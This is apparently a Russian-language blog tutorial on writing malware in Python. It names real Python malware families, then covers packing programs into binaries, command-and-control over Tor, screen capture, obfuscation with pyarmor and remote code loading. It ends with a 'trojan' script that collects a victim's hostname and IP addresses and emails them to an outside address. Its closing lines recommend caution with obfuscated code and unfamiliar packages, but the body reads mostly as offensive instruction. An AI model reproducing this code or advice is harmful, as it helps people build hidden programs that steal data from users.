Пишем вирусы и зловредное ПО на Python

В мире  существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести  хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому  списку можно с абсолютной уверенностью добавить вирусы на Python.

Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях?  Желание нагадить ближнему без необходимости учить C/C++?  Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?

Если отбросить часть иронии…

… и вникнуть в ситуацию, то становится видно, что адекватные  питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами  (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.

Есть  продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.

Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на  Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.

Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.

Упаковка в бинарники

Поскольку Python —  язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.

  • https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор,  ваш код + все необходимые зависимости. 
  • https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в  С и потом компилирует его. 

Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса,  виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник.  Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.

Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.

А шо вирусу делать?

Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить. 

Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать  сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.

Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor. 

Для обмена данными с хозяевами вирусы используют библиотеку torpy.  В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным  и получаешь апдейты к вирусу или команды.

from torpy import TorClient

hostname = 'ifconfig.me'  # It's possible use onion hostname here as well
tor = TorClient()
# Choose random guard node and create 3-hops circuit
with tor.create_circuit(3) as circuit:
    # Create tor stream to host
    with circuit.create_stream((hostname, 80)) as stream:
        # Now we can communicate with host
        stream.send(b'GET / HTTP/1.0\r\nHost: %s\r\n\r\n' % hostname.encode())
        recv = stream.recv(1024)

Работа с tor c этой либой проста, не сложнее requests.

А шо бы своровать?

Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами  Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV.  Единственное, что вызывает вопросы — как делать скриншоты из Python?

На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.

# pyscreenshot/examples/grabfullscreen.py

"Grab the whole screen"
import pyscreenshot as ImageGrab

# grab fullscreen
im = ImageGrab.grab()

# save image file
im.save("fullscreen.png")

Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.

Серверная токсичность

Бэкдоры на Python для серверов  тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.

Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем.  Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.

Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы.  Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения. 

Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.

Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше!  Но самый  простой в реализации  способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.

>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'):
...     import package1
...
>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'):
...     import covertutils
... # Also works with 'bitbucket_repo' and 'gitlab_repo'

Трояны

Теория

Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.

Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.



import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'demo@spy-soft.net'
password = '***'
dest_email = 'demo@spy-soft.net'
subject = 'IP'
email_text = (f'Host: {hostname}\nLocal IP: {local_ip}\nPublic IP: {public_ip}')
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()

Вот и все

Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты. 

Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.

Ответить